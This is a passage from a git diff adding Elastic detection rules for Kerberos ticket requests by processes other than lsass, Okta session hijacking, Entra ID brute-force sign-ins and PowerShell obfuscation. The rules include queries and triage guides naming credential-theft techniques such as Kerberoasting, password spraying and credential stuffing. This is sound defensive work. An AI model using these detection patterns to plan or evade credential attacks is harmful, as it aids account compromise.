] + }, + { + "framework": "MITRE ATT&CK", + "tactic": { + "id": "TA0002", + "name": "Execution", + "reference": "https://attack.mitre.org/tactics/TA0002/" + }, + "technique": [ + { + "id": "T1059", + "name": "Command and Scripting Interpreter", + "reference": "https://attack.mitre.org/techniques/T1059/", + "subtechnique": [ + { + "id": "T1059.004", + "name": "Unix Shell", + "reference": "https://attack.mitre.org/techniques/T1059/004/" + } + ] + }, + { + "id": "T1204", + "name": "User Execution", + "reference": "https://attack.mitre.org/techniques/T1204/", + "subtechnique": [ + { + "id": "T1204.002", + "name": "Malicious File", + "reference": "https://attack.mitre.org/techniques/T1204/002/" + } + ] + } + ] + } + ], + "timestamp_override": "event.ingested", + "type": "esql", + "version": 6 + }, + "id": "c5637438-e32d-4bb3-bc13-bd7932b3289f_6", + "type": "security-rule" +} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/c6b40f4c-c6a9-434e-adb8-989b0d06d005_1.json b/packages/security_detection_engine/kibana/security_rule/c6b40f4c-c6a9-434e-adb8-989b0d06d005_1.json new file mode 100644 index 00000000000..4cd60682066 --- /dev/null +++ b/packages/security_detection_engine/kibana/security_rule/c6b40f4c-c6a9-434e-adb8-989b0d06d005_1.json @@ -0,0 +1,144 @@ +{ + "attributes": { + "author": [ + "Elastic" + ], + "description": "Correlates network connections to the standard Kerberos port by an unusual process from the source machine with a Kerberos authentication ticket request from the target domain controller.", + "from": "now-9m", + "index": [ + "logs-endpoint.events.network-*", + "logs-windows.sysmon_operational-*", + "logs-system.security*", + "logs-windows.forwarded*", + "winlogbeat-*" + ], + "language": "eql", + "license": "Elastic License v2", + "name": "Suspicious Kerberos Authentication Ticket Request", + "note": "## Triage and analysis\n\n### Investigating Suspicious Kerberos Authentication Ticket Request\n\nKerberos is the default authentication protocol in Active Directory, designed to provide strong authentication for client/server applications by using secret-key cryptography.\n\nDomain-joined hosts usually perform Kerberos traffic using the `lsass.exe` process. This rule detects the occurrence of traffic on the Kerberos port (88) by processes other than `lsass.exe` to detect the unusual request and usage of Kerberos tickets.\n\n#### Possible investigation steps\n\n- Investigate the process execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence, whether they are located in expected locations, and if they are signed with valid digital signatures.\n- Investigate other alerts associated with the user/host during the past 48 hours.\n- Check if the Destination IP is related to a Domain Controller.\n- Review events ID 4769 and 4768 for suspicious ticket requests.\n- Investigate potentially compromised accounts. Analysts can do this by searching for login events (for example, 4624) to the target host after the registry modification.\n\n### False positive analysis\n\n- Active Directory audit tools.\n\n### Response and remediation\n\n- Initiate the incident response process based on the outcome of the triage.\n- Isolate the involved host to prevent further post-compromise behavior.\n- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services.\n - Ticket requests can be used to investigate potentially compromised accounts.\n- If the triage identified malware, search the environment for additional compromised hosts.\n - Implement temporary network rules, procedures, and segmentation to contain the malware.\n - Stop suspicious processes.\n - Immediately block the identified indicators of compromise (IoCs).\n - Inspect the affected systems for additional malware backdoors like reverse shells, reverse proxies, or droppers that attackers could use to reinfect the system.\n- Remove and block malicious artifacts identified during triage.\n- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components.\n- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector.\n- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR).\n", + "query": "sequence by source.port, source.ip with maxspan=3s\n [network where host.os.type == \"windows\" and destination.port == 88 and\n process.executable != null and\n not process.executable : (\"?:\\\\Windows\\\\system32\\\\lsass.exe\", \"\\\\device\\\\harddiskvolume*\\\\windows\\\\system32\\\\lsass.exe\") and\n source.ip != \"127.0.0.1\" and destination.ip != \"::1\" and destination.ip != \"127.0.0.1\"]\n [authentication where host.os.type == \"windows\" and event.code in (\"4768\", \"4769\")]\n", + "references": [ + "https://github.com/its-a-feature/bifrost", + "https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-10/security/threat-protection/auditing/event-4768" + ], + "related_integrations": [ + { + "package": "endpoint", + "version": "^8.2.0" + }, + { + "package": "windows", + "version": "^3.0.0" + }, + { + "package": "system", + "version": "^2.0.0" + } + ], + "required_fields": [ + { + "ecs": true, + "name": "destination.ip", + "type": "ip" + }, + { + "ecs": true, + "name": "destination.port", + "type": "long" + }, + { + "ecs": true, + "name": "event.code", + "type": "keyword" + }, + { + "ecs": true, + "name": "host.os.type", + "type": "keyword" + }, + { + "ecs": true, + "name": "process.executable", + "type": "keyword" + }, + { + "ecs": true, + "name": "source.ip", + "type": "ip" + }, + { + "ecs": true, + "name": "source.port", + "type": "long" + } + ], + "risk_score": 73, + "rule_id": "c6b40f4c-c6a9-434e-adb8-989b0d06d005", + "severity": "high", + "tags": [ + "Domain: Endpoint", + "Domain: Identity", + "OS: Windows", + "Use Case: Threat Detection", + "Tactic: Credential Access", + "Tactic: Lateral Movement", + "Use Case: Active Directory Monitoring", + "Data Source: Active Directory", + "Data Source: Elastic Defend", + "Data Source: Sysmon", + "Data Source: Windows Security Event Logs", + "Resources: Investigation Guide" + ], + "threat": [ + { + "framework": "MITRE ATT&CK", + "tactic": { + "id": "TA0008", + "name": "Lateral Movement", + "reference": "https://attack.mitre.org/tactics/TA0008/" + }, + "technique": [ + { + "id": "T1550", + "name": "Use Alternate Authentication Material", + "reference": "https://attack.mitre.org/techniques/T1550/", + "subtechnique": [ + { + "id": "T1550.003", + "name": "Pass the Ticket", + "reference": "https://attack.mitre.org/techniques/T1550/003/" + } + ] + } + ] + }, + { + "framework": "MITRE ATT&CK", + "tactic": { + "id": "TA0006", + "name": "Credential Access", + "reference": "https://attack.mitre.org/tactics/TA0006/" + }, + "technique": [ + { + "id": "T1558", + "name": "Steal or Forge Kerberos Tickets", + "reference": "https://attack.mitre.org/techniques/T1558/", + "subtechnique": [ + { + "id": "T1558.003", + "name": "Kerberoasting", + "reference": "https://attack.mitre.org/techniques/T1558/003/" + } + ] + } + ] + } + ], + "timestamp_override": "event.ingested", + "type": "eql", + "version": 1 + }, + "id": "c6b40f4c-c6a9-434e-adb8-989b0d06d005_1", + "type": "security-rule" +} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/cc382a2e-7e52-11ee-9aac-f661ea17fbcd_309.json b/packages/security_detection_engine/kibana/security_rule/cc382a2e-7e52-11ee-9aac-f661ea17fbcd_309.json new file mode 100644 index 00000000000..aa2b7b115fe --- /dev/null +++ b/packages/security_detection_engine/kibana/security_rule/cc382a2e-7e52-11ee-9aac-f661ea17fbcd_309.json @@ -0,0 +1,79 @@ +{ + "attributes": { + "author": [ + "Elastic" + ], + "description": "This rule detects when a specific Okta actor has multiple device token hashes for a single Okta session. This may indicate an authenticated session has been hijacked or is being used by multiple devices. Adversaries may hijack a session to gain unauthorized access to Okta admin console, applications, tenants, or other resources.", + "from": "now-9m", + "language": "esql", + "license": "Elastic License v2", + "name": "Multiple Device Token Hashes for Single Okta Session", + "note": "## Triage and analysis\n\n### Investigating Multiple Device Token Hashes for Single Okta Session\n\nThis rule detects when a specific Okta actor has multiple device token hashes for a single Okta session. This may indicate an authenticated session has been hijacked or is being used by multiple devices. Adversaries may hijack a session to gain unauthorized access to Okta admin console, applications, tenants, or other resources.\n\n#### Possible investigation steps:\n- Since this is an ESQL rule, the `okta.actor.alternate_id` and `okta.authentication_context.external_session_id` values can be used to pivot into the raw authentication events related to this alert.\n- Identify the users involved in this action by examining the `okta.actor.id`, `okta.actor.type`, `okta.actor.alternate_id`, and `okta.actor.display_name` fields.\n- Determine the device client used for these actions by analyzing `okta.client.ip`, `okta.client.user_agent.raw_user_agent`, `okta.client.zone`, `okta.client.device`, and `okta.client.id` fields.\n- With Okta end users identified, review the `okta.debug_context.debug_data.dt_hash` field.\n - Historical analysis should indicate if this device token hash is commonly associated with the user.\n- Review the `okta.event_type` field to determine the type of authentication event that occurred.\n - Authentication events have been filtered out to focus on Okta activity via established sessions.\n- Review the past activities of the actor(s) involved in this action by checking their previous actions.\n- Evaluate the actions that happened just before and after this event in the `okta.event_type` field to help understand the full context of the activity.\n - This may help determine the authentication and authorization actions that occurred between the user, Okta and application.\n- Aggregate by `okta.actor.alternate_id` and `event.action` to determine the type of actions that are being performed by the actor(s) involved in this action.\n - If various activity is reported that seems to indicate actions from separate users, consider deactivating the user's account temporarily.\n\n### False positive analysis:\n- It is very rare that a legitimate user would have multiple device token hashes for a single Okta session as DT hashes do not change after an authenticated session is established.\n\n### Response and remediation:\n- Consider stopping all sessions for the user(s) involved in this action.\n- If this does not appear to be a false positive, consider resetting passwords for the users involved and enabling multi-factor authentication (MFA).\n - If MFA is already enabled, consider resetting MFA for the users.\n- If any of the users are not legitimate, consider deactivating the user's account.\n- Conduct a review of Okta policies and ensure they are in accordance with security best practices.\n- Check with internal IT teams to determine if the accounts involved recently had MFA reset at the request of the user.\n - If so, confirm with the user this was a legitimate request.\n - If so and this was not a legitimate request, consider deactivating the user's account temporarily.\n - Reset passwords and reset MFA for the user.\n- Alternatively adding `okta.client.ip` or a CIDR range to the `exceptions` list can prevent future occurrences of this event from triggering the rule.\n - This should be done with caution as it may prevent legitimate alerts from being generated.\n", + "query": "from logs-okta*\n| where\n event.dataset == \"okta.system\" and\n not event.action in (\n \"policy.evaluate_sign_on\",\n \"user.session.start\",\n \"user.authentication.sso\"\n ) and\n okta.actor.alternate_id != \"system@okta.com\" and\n okta.actor.alternate_id rlike \"[^@\\\\s]+\\\\@[^@\\\\s]+\" and\n okta.authentication_context.external_session_id != \"unknown\"\n| keep\n event.action,\n okta.actor.alternate_id,\n okta.authentication_context.external_session_id,\n okta.debug_context.debug_data.dt_hash\n| stats\n Esql.okta_debug_context_debug_data_dt_hash_count_distinct = count_distinct(okta.debug_context.debug_data.dt_hash)\n by\n okta.actor.alternate_id,\n okta.authentication_context.external_session_id\n| where\n Esql.okta_debug_context_debug_data_dt_hash_count_distinct >= 2\n| sort\n Esql.okta_debug_context_debug_data_dt_hash_count_distinct desc\n", + "references": [ + "https://developer.okta.com/docs/reference/api/system-log/", + "https://developer.okta.com/docs/reference/api/event-types/", + "https://www.elastic.co/security-labs/testing-okta-visibility-and-detection-dorothy", + "https://sec.okta.com/articles/2023/08/cross-tenant-impersonation-prevention-and-detection", + "https://support.okta.com/help/s/article/session-hijacking-attack-definition-damage-defense?language=en_US", + "https://www.elastic.co/security-labs/monitoring-okta-threats-with-elastic-security", + "https://www.elastic.co/security-labs/starter-guide-to-understanding-okta" + ], + "related_integrations": [ + { + "package": "okta", + "version": "^3.0.0" + } + ], + "required_fields": [ + { + "ecs": false, + "name": "Esql.okta_debug_context_debug_data_dt_hash_count_distinct", + "type": "long" + }, + { + "ecs": false, + "name": "okta.actor.alternate_id", + "type": "keyword" + }, + { + "ecs": false, + "name": "okta.authentication_context.external_session_id", + "type": "keyword" + } + ], + "risk_score": 47, + "rule_id": "cc382a2e-7e52-11ee-9aac-f661ea17fbcd", + "setup": "## Setup\n\nThe Okta Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule.", + "severity": "medium", + "tags": [ + "Use Case: Identity and Access Audit", + "Data Source: Okta", + "Tactic: Credential Access", + "Domain: SaaS", + "Resources: Investigation Guide" + ], + "threat": [ + { + "framework": "MITRE ATT&CK", + "tactic": { + "id": "TA0006", + "name": "Credential Access", + "reference": "https://attack.mitre.org/tactics/TA0006/" + }, + "technique": [ + { + "id": "T1539", + "name": "Steal Web Session Cookie", + "reference": "https://attack.mitre.org/techniques/T1539/" + } + ] + } + ], + "timestamp_override": "event.ingested", + "type": "esql", + "version": 309 + }, + "id": "cc382a2e-7e52-11ee-9aac-f661ea17fbcd_309", + "type": "security-rule" +} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/cca64114-fb8b-11ef-86e2-f661ea17fbce_6.json b/packages/security_detection_engine/kibana/security_rule/cca64114-fb8b-11ef-86e2-f661ea17fbce_6.json new file mode 100644 index 00000000000..7c93578f453 --- /dev/null +++ b/packages/security_detection_engine/kibana/security_rule/cca64114-fb8b-11ef-86e2-f661ea17fbce_6.json @@ -0,0 +1,275 @@ +{ + "attributes": { + "author": [ + "Elastic" + ], + "description": "Identifies potential brute-force attacks targeting user accounts by analyzing failed sign-in patterns in Microsoft Entra ID Sign-In Logs. This detection focuses on a high volume of failed interactive or non-interactive authentication attempts within a short time window, often indicative of password spraying, credential stuffing, or password guessing. Adversaries may use these techniques to gain unauthorized access to applications integrated with Entra ID or to compromise valid user accounts.", + "false_positives": [ + "Automated processes that attempt to authenticate using expired credentials or have misconfigured authentication settings may lead to false positives." + ], + "from": "now-60m", + "interval": "15m", + "language": "esql", + "license": "Elastic License v2", + "name": "Microsoft Entra ID Sign-In Brute Force Activity", + "note": "## Triage and analysis\n\n### Investigating Microsoft Entra ID Sign-In Brute Force Activity\n\nThis rule detects brute-force authentication activity in Entra ID sign-in logs. It classifies failed sign-in attempts into behavior types such as password spraying, credential stuffing, or password guessing. The classification (`bf_type`) helps prioritize triage and incident response.\n\n### Possible investigation steps\n\n- Review `bf_type`: Determines the brute-force technique being used (`password_spraying`, `credential_stuffing`, or `password_guessing`).\n- Examine `user_id_list`: Identify if high-value accounts (e.g., administrators, service principals, federated identities) are being targeted.\n- Review `login_errors`: Repetitive error types like `\"Invalid Grant\"` or `\"User Not Found\"` suggest automated attacks.\n- Check `ip_list` and `source_orgs`: Investigate if the activity originates from suspicious infrastructure (VPNs, hosting providers, etc.).\n- Validate `unique_ips` and `countries`: Geographic diversity and IP volume may indicate distributed or botnet-based attacks.\n- Compare `total_attempts` vs `duration_seconds`: High rate of failures in a short time period implies automation.\n- Analyze `user_agent.original` and `device_detail_browser`: User agents like `curl`, `Python`, or generic libraries may indicate scripting tools.\n- Investigate `client_app_display_name` and `incoming_token_type`: Detect potential abuse of legacy or unattended login mechanisms.\n- Inspect `target_resource_display_name`: Understand what application or resource the attacker is trying to access.\n- Pivot using `session_id` and `device_detail_device_id`: Determine if a device is targeting multiple accounts.\n- Review `conditional_access_status`: If not enforced, ensure Conditional Access policies are scoped correctly.\n\n### False positive analysis\n\n- Legitimate automation (e.g., misconfigured scripts, sync processes) can trigger repeated failures.\n- Internal red team activity or penetration tests may mimic brute-force behaviors.\n- Certain service accounts or mobile clients may generate repetitive sign-in noise if not properly configured.\n\n### Response and remediation\n\n- Notify your identity security team for further analysis.\n- Investigate and lock or reset impacted accounts if compromise is suspected.\n- Block offending IPs or ASNs at the firewall, proxy, or using Conditional Access.\n- Confirm MFA and Conditional Access are enforced for all user types.\n- Audit targeted accounts for credential reuse across services.\n- Implement account lockout or throttling for failed sign-in attempts where possible.\n", + "query": "from logs-azure.signinlogs-*\n\n// Define a time window for grouping and maintain the original event timestamp\n| eval Esql.time_window_date_trunc = date_trunc(15 minutes, @timestamp)\n\n// Filter relevant failed authentication events with specific error codes\n| where event.dataset == \"azure.signinlogs\"\n and event.category == \"authentication\"\n and azure.signinlogs.category in (\"NonInteractiveUserSignInLogs\", \"SignInLogs\")\n and event.outcome == \"failure\"\n and azure.signinlogs.properties.authentication_requirement == \"singleFactorAuthentication\"\n and azure.signinlogs.properties.status.error_code in (\n 50034, // UserAccountNotFound\n 50126, // InvalidUsernameOrPassword\n 50055, // PasswordExpired\n 50056, // InvalidPassword\n 50057, // UserDisabled\n 50064, // CredentialValidationFailure\n 50076, // MFARequiredButNotPassed\n 50079, // MFARegistrationRequired\n 50105, // EntitlementGrantsNotFound\n 70000, // InvalidGrant\n 70008, // ExpiredOrRevokedRefreshToken\n 70043, // BadTokenDueToSignInFrequency\n 80002, // OnPremisePasswordValidatorRequestTimedOut\n 80005, // OnPremisePasswordValidatorUnpredictableWebException\n 50144, // InvalidPasswordExpiredOnPremPassword\n 50135, // PasswordChangeCompromisedPassword\n 50142, // PasswordChangeRequiredConditionalAccess\n 120000, // PasswordChangeIncorrectCurrentPassword\n 120002, // PasswordChangeInvalidNewPasswordWeak\n 120020 // PasswordChangeFailure\n )\n and azure.signinlogs.properties.user_principal_name is not null and azure.signinlogs.properties.user_principal_name != \"\"\n and user_agent.original != \"Mozilla/5.0 (compatible; MSAL 1.0) PKeyAuth/1.0\"\n and source.`as`.organization.name != \"MICROSOFT-CORP-MSN-as-BLOCK\"\n\n| stats\n Esql.azure_signinlogs_properties_authentication_requirement_values = values(azure.signinlogs.properties.authentication_requirement),\n Esql.azure_signinlogs_properties_app_id_values = values(azure.signinlogs.properties.app_id),\n Esql.azure_signinlogs_properties_app_display_name_values = values(azure.signinlogs.properties.app_display_name),\n Esql.azure_signinlogs_properties_resource_id_values = values(azure.signinlogs.properties.resource_id),\n Esql.azure_signinlogs_properties_resource_display_name_values = values(azure.signinlogs.properties.resource_display_name),\n Esql.azure_signinlogs_properties_conditional_access_status_values = values(azure.signinlogs.properties.conditional_access_status),\n Esql.azure_signinlogs_properties_device_detail_browser_values = values(azure.signinlogs.properties.device_detail.browser),\n Esql.azure_signinlogs_properties_device_detail_device_id_values = values(azure.signinlogs.properties.device_detail.device_id),\n Esql.azure_signinlogs_properties_device_detail_operating_system_values = values(azure.signinlogs.properties.device_detail.operating_system),\n Esql.azure_signinlogs_properties_incoming_token_type_values = values(azure.signinlogs.properties.incoming_token_type),\n Esql.azure_signinlogs_properties_risk_state_values = values(azure.signinlogs.properties.risk_state),\n Esql.azure_signinlogs_properties_session_id_values = values(azure.signinlogs.properties.session_id),\n Esql.azure_signinlogs_properties_user_id_values = values(azure.signinlogs.properties.user_id),\n Esql_priv.azure_signinlogs_properties_user_principal_name_values = values(azure.signinlogs.properties.user_principal_name),\n Esql.azure_signinlogs_result_description_values = values(azure.signinlogs.result_description),\n Esql.azure_signinlogs_result_signature_values = values(azure.signinlogs.result_signature),\n Esql.azure_signinlogs_result_type_values = values(azure.signinlogs.result_type),\n\n Esql.azure_signinlogs_properties_user_id_count_distinct = count_distinct(azure.signinlogs.properties.user_id),\n Esql.azure_signinlogs_properties_user_id_list = values(azure.signinlogs.properties.user_id),\n Esql.azure_signinlogs_result_description_values_all = values(azure.signinlogs.result_description),\n Esql.azure_signinlogs_result_description_count_distinct = count_distinct(azure.signinlogs.result_description),\n Esql.azure_signinlogs_properties_status_error_code_values = values(azure.signinlogs.properties.status.error_code),\n Esql.azure_signinlogs_properties_status_error_code_count_distinct = count_distinct(azure.signinlogs.properties.status.error_code),\n Esql.azure_signinlogs_properties_incoming_token_type_values_all = values(azure.signinlogs.properties.incoming_token_type),\n Esql.azure_signinlogs_properties_app_display_name_values_all = values(azure.signinlogs.properties.app_display_name),\n Esql.source_ip_values = values(source.ip),\n Esql.source_ip_count_distinct = count_distinct(source.ip),\n Esql.source_as_organization_name_values = values(source.`as`.organization.name),\n Esql.source_geo_country_name_values = values(source.geo.country_name),\n Esql.source_geo_country_name_count_distinct = count_distinct(source.geo.country_name),\n Esql.source_as_organization_name_count_distinct = count_distinct(source.`as`.organization.name),\n Esql.timestamp_first_seen = min(@timestamp),\n Esql.timestamp_last_seen = max(@timestamp),\n Esql.event_count = count()\nby Esql.time_window_date_trunc\n\n| eval\n Esql.duration_seconds = date_diff(\"seconds\", Esql.timestamp_first_seen, Esql.timestamp_last_seen),\n Esql.brute_force_type = case(\n Esql.azure_signinlogs_properties_user_id_count_distinct >= 10 and Esql.event_count >= 30 and Esql.azure_signinlogs_result_description_count_distinct <= 3\n and Esql.source_ip_count_distinct >= 5\n and Esql.duration_seconds <= 600\n and Esql.azure_signinlogs_properties_user_id_count_distinct > Esql.source_ip_count_distinct,\n \"credential_stuffing\",\n\n Esql.azure_signinlogs_properties_user_id_count_distinct >= 15 and Esql.azure_signinlogs_result_description_count_distinct == 1 and Esql.event_count >= 15 and Esql.duration_seconds <= 1800,\n \"password_spraying\",\n\n (Esql.azure_signinlogs_properties_user_id_count_distinct == 1 and Esql.azure_signinlogs_result_description_count_distinct == 1 and Esql.event_count >= 30 and Esql.duration_seconds <= 300)\n or (Esql.azure_signinlogs_properties_user_id_count_distinct <= 3 and Esql.source_ip_count_distinct > 30 and Esql.event_count >= 100),\n \"password_guessing\",\n\n \"other\"\n )\n\n| keep\n Esql.time_window_date_trunc,\n Esql.brute_force_type,\n Esql.duration_seconds,\n Esql.event_count,\n Esql.timestamp_first_seen,\n Esql.timestamp_last_seen,\n Esql.azure_signinlogs_properties_user_id_count_distinct,\n Esql.azure_signinlogs_properties_user_id_list,\n Esql.azure_signinlogs_result_description_values_all,\n Esql.azure_signinlogs_result_description_count_distinct,\n Esql.azure_signinlogs_properties_status_error_code_count_distinct,\n Esql.azure_signinlogs_properties_status_error_code_values,\n Esql.azure_signinlogs_properties_incoming_token_type_values_all,\n Esql.azure_signinlogs_properties_app_display_name_values_all,\n Esql.source_ip_values,\n Esql.source_ip_count_distinct,\n Esql.source_as_organization_name_values,\n Esql.source_geo_country_name_values,\n Esql.source_geo_country_name_count_distinct,\n Esql.source_as_organization_name_count_distinct,\n Esql.azure_signinlogs_properties_authentication_requirement_values,\n Esql.azure_signinlogs_properties_app_id_values,\n Esql.azure_signinlogs_properties_app_display_name_values,\n Esql.azure_signinlogs_properties_resource_id_values,\n Esql.azure_signinlogs_properties_resource_display_name_values,\n Esql.azure_signinlogs_properties_conditional_access_status_values,\n Esql.azure_signinlogs_properties_device_detail_browser_values,\n Esql.azure_signinlogs_properties_device_detail_device_id_values,\n Esql.azure_signinlogs_properties_device_detail_operating_system_values,\n Esql.azure_signinlogs_properties_incoming_token_type_values,\n Esql.azure_signinlogs_properties_risk_state_values,\n Esql.azure_signinlogs_properties_session_id_values,\n Esql.azure_signinlogs_properties_user_id_values,\n Esql_priv.azure_signinlogs_properties_user_principal_name_values,\n Esql.azure_signinlogs_result_description_values,\n Esql.azure_signinlogs_result_signature_values,\n Esql.azure_signinlogs_result_type_values\n\n| where Esql.brute_force_type != \"other\"\n", + "references": [ + "https://www.proofpoint.com/us/blog/threat-insight/attackers-unleash-teamfiltration-account-takeover-campaign", + "https://www.microsoft.com/en-us/security/blog/2025/05/27/new-russia-affiliated-actor-void-blizzard-targets-critical-sectors-for-espionage/", + "https://cloud.hacktricks.xyz/pentesting-cloud/azure-security/az-unauthenticated-enum-and-initial-entry/az-password-spraying", + "https://learn.microsoft.com/en-us/security/operations/incident-response-playbook-password-spray", + "https://learn.microsoft.com/en-us/purview/audit-log-detailed-properties", + "https://securityscorecard.com/research/massive-botnet-targets-m365-with-stealthy-password-spraying-attacks/", + "https://learn.microsoft.com/en-us/entra/identity-platform/reference-error-codes", + "https://github.com/0xZDH/Omnispray", + "https://github.com/0xZDH/o365spray" + ], + "related_integrations": [ + { + "package": "azure", + "version": "^1.0.0" + } + ], + "required_fields": [ + { + "ecs": false, + "name": "Esql.azure_signinlogs_properties_app_display_name_values", + "type": "keyword" + }, + { + "ecs": false, + "name": "Esql.azure_signinlogs_properties_app_display_name_values_all", + "type": "keyword" + }, + { + "ecs": false, + "name": "Esql.azure_signinlogs_properties_app_id_values", + "type": "keyword" + }, + { + "ecs": false, + "name": "Esql.azure_signinlogs_properties_authentication_requirement_values", + "type": "keyword" + }, + { + "ecs": false, + "name": "Esql.azure_signinlogs_properties_conditional_access_status_values", + "type": "keyword" + }, + { + "ecs": false, + "name": "Esql.azure_signinlogs_properties_device_detail_browser_values", + "type": "keyword" + }, + { + "ecs": false, + "name": "Esql.azure_signinlogs_properties_device_detail_device_id_values", + "type": "keyword" + }, + { + "ecs": false, + "name": "Esql.azure_signinlogs_properties_device_detail_operating_system_values", + "type": "keyword" + }, + { + "ecs": false, + "name": "Esql.azure_signinlogs_properties_incoming_token_type_values", + "type": "keyword" + }, + { + "ecs": false, + "name": "Esql.azure_signinlogs_properties_incoming_token_type_values_all", + "type": "keyword" + }, + { + "ecs": false, + "name": "Esql.azure_signinlogs_properties_resource_display_name_values", + "type": "keyword" + }, + { + "ecs": false, + "name": "Esql.azure_signinlogs_properties_resource_id_values", + "type": "keyword" + }, + { + "ecs": false, + "name": "Esql.azure_signinlogs_properties_risk_state_values", + "type": "keyword" + }, + { + "ecs": false, + "name": "Esql.azure_signinlogs_properties_session_id_values", + "type": "keyword" + }, + { + "ecs": false, + "name": "Esql.azure_signinlogs_properties_status_error_code_count_distinct", + "type": "long" + }, + { + "ecs": false, + "name": "Esql.azure_signinlogs_properties_status_error_code_values", + "type": "long" + }, + { + "ecs": false, + "name": "Esql.azure_signinlogs_properties_user_id_count_distinct", + "type": "long" + }, + { + "ecs": false, + "name": "Esql.azure_signinlogs_properties_user_id_list", + "type": "keyword" + }, + { + "ecs": false, + "name": "Esql.azure_signinlogs_properties_user_id_values", + "type": "keyword" + }, + { + "ecs": false, + "name": "Esql.azure_signinlogs_result_description_count_distinct", + "type": "long" + }, + { + "ecs": false, + "name": "Esql.azure_signinlogs_result_description_values", + "type": "keyword" + }, + { + "ecs": false, + "name": "Esql.azure_signinlogs_result_description_values_all", + "type": "keyword" + }, + { + "ecs": false, + "name": "Esql.azure_signinlogs_result_signature_values", + "type": "keyword" + }, + { + "ecs": false, + "name": "Esql.azure_signinlogs_result_type_values", + "type": "keyword" + }, + { + "ecs": false, + "name": "Esql.brute_force_type", + "type": "keyword" + }, + { + "ecs": false, + "name": "Esql.duration_seconds", + "type": "integer" + }, + { + "ecs": false, + "name": "Esql.event_count", + "type": "long" + }, + { + "ecs": false, + "name": "Esql.source_as_organization_name_count_distinct", + "type": "long" + }, + { + "ecs": false, + "name": "Esql.source_as_organization_name_values", + "type": "keyword" + }, + { + "ecs": false, + "name": "Esql.source_geo_country_name_count_distinct", + "type": "long" + }, + { + "ecs": false, + "name": "Esql.source_geo_country_name_values", + "type": "keyword" + }, + { + "ecs": false, + "name": "Esql.source_ip_count_distinct", + "type": "long" + }, + { + "ecs": false, + "name": "Esql.source_ip_values", + "type": "ip" + }, + { + "ecs": false, + "name": "Esql.time_window_date_trunc", + "type": "date" + }, + { + "ecs": false, + "name": "Esql.timestamp_first_seen", + "type": "date" + }, + { + "ecs": false, + "name": "Esql.timestamp_last_seen", + "type": "date" + }, + { + "ecs": false, + "name": "Esql_priv.azure_signinlogs_properties_user_principal_name_values", + "type": "keyword" + } + ], + "risk_score": 47, + "rule_id": "cca64114-fb8b-11ef-86e2-f661ea17fbce", + "severity": "medium", + "tags": [ + "Domain: Cloud", + "Domain: Identity", + "Data Source: Azure", + "Data Source: Entra ID", + "Data Source: Entra ID Sign-in Logs", + "Use Case: Identity and Access Audit", + "Use Case: Threat Detection", + "Tactic: Credential Access", + "Resources: Investigation Guide" + ], + "threat": [ + { + "framework": "MITRE ATT&CK", + "tactic": { + "id": "TA0006", + "name": "Credential Access", + "reference": "https://attack.mitre.org/tactics/TA0006/" + }, + "technique": [ + { + "id": "T1110", + "name": "Brute Force", + "reference": "https://attack.mitre.org/techniques/T1110/", + "subtechnique": [ + { + "id": "T1110.001", + "name": "Password Guessing", + "reference": "https://attack.mitre.org/techniques/T1110/001/" + }, + { + "id": "T1110.003", + "name": "Password Spraying", + "reference": "https://attack.mitre.org/techniques/T1110/003/" + }, + { + "id": "T1110.004", + "name": "Credential Stuffing", + "reference": "https://attack.mitre.org/techniques/T1110/004/" + } + ] + } + ] + } + ], + "timestamp_override": "event.ingested", + "type": "esql", + "version": 6 + }, + "id": "cca64114-fb8b-11ef-86e2-f661ea17fbce_6", + "type": "security-rule" +} \ No newline at end of file diff --git a/packages/security_detection_engine/kibana/security_rule/d43f2b43-02a1-4219-8ce9-10929a32a618_4.json b/packages/security_detection_engine/kibana/security_rule/d43f2b43-02a1-4219-8ce9-10929a32a618_4.json new file mode 100644 index 00000000000..715cc6b7d63 --- /dev/null +++ b/packages/security_detection_engine/kibana/security_rule/d43f2b43-02a1-4219-8ce9-10929a32a618_4.json @@ -0,0 +1,153 @@ +{ + "attributes": { + "author": [ + "Elastic" + ], + "description": "Identifies PowerShell scripts that use backtick-escaped characters inside ${} variable expansion as a form of obfuscation. These methods are designed to evade static analysis and bypass security protections such as the Antimalware Scan Interface (AMSI).", + "from": "now-9m", + "language": "esql", + "license": "Elastic License v2", + "name": "Potential PowerShell Obfuscation via Backtick-Escaped Variable Expansion", + "note": " ## Triage and analysis\n\n> **Disclaimer**:\n> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.\n\n### Investigating Potential PowerShell Obfuscation via Backtick-Escaped Variable Expansion\n\nPowerShell, a powerful scripting language in Windows environments, can be exploited by adversaries using obfuscation techniques like backtick-escaped variable expansion to evade detection. This method involves disguising malicious scripts to bypass security measures. The detection rule identifies scripts with excessive length and specific obfuscation patterns, flagging potential threats for further analysis.\n\n### Possible investigation steps\n\n- Review the `powershell.file.script_block_text` field to understand the content of the script and identify any suspicious or malicious commands.\n- Examine the `file.path` and `file.name` fields to determine the origin and context of the script execution, which may provide insights into whether the script is part of a legitimate process or potentially malicious activity.\n- Check the `host.name` and `agent.id` fields to identify the affected system and correlate with other security events or logs from the same host for additional context.\n- Analyze the `user.id` field to determine which user account executed the script, and assess whether this activity aligns with the user's typical behavior or role.\n- Investigate the `powershell.file.script_block_id` and `powershell.sequence` fields to trace the execution flow of the script and identify any related script blocks that may have been executed in sequence.\n- Consider the `count` field to evaluate the extent of obfuscation used in the script, which may indicate the level of sophistication or intent behind the script.\n\n### False positive analysis\n\n- Scripts with legitimate administrative functions may use backtick-escaped variable expansion for complex string manipulations. Review the script's context and purpose to determine if it aligns with expected administrative tasks.\n- Automated scripts generated by trusted software might include obfuscation patterns as part of their normal operation. Verify the source and integrity of the software to ensure it is from a reputable vendor.\n- Developers and IT professionals may use obfuscation techniques during testing or development phases. Establish a process to whitelist known development environments or 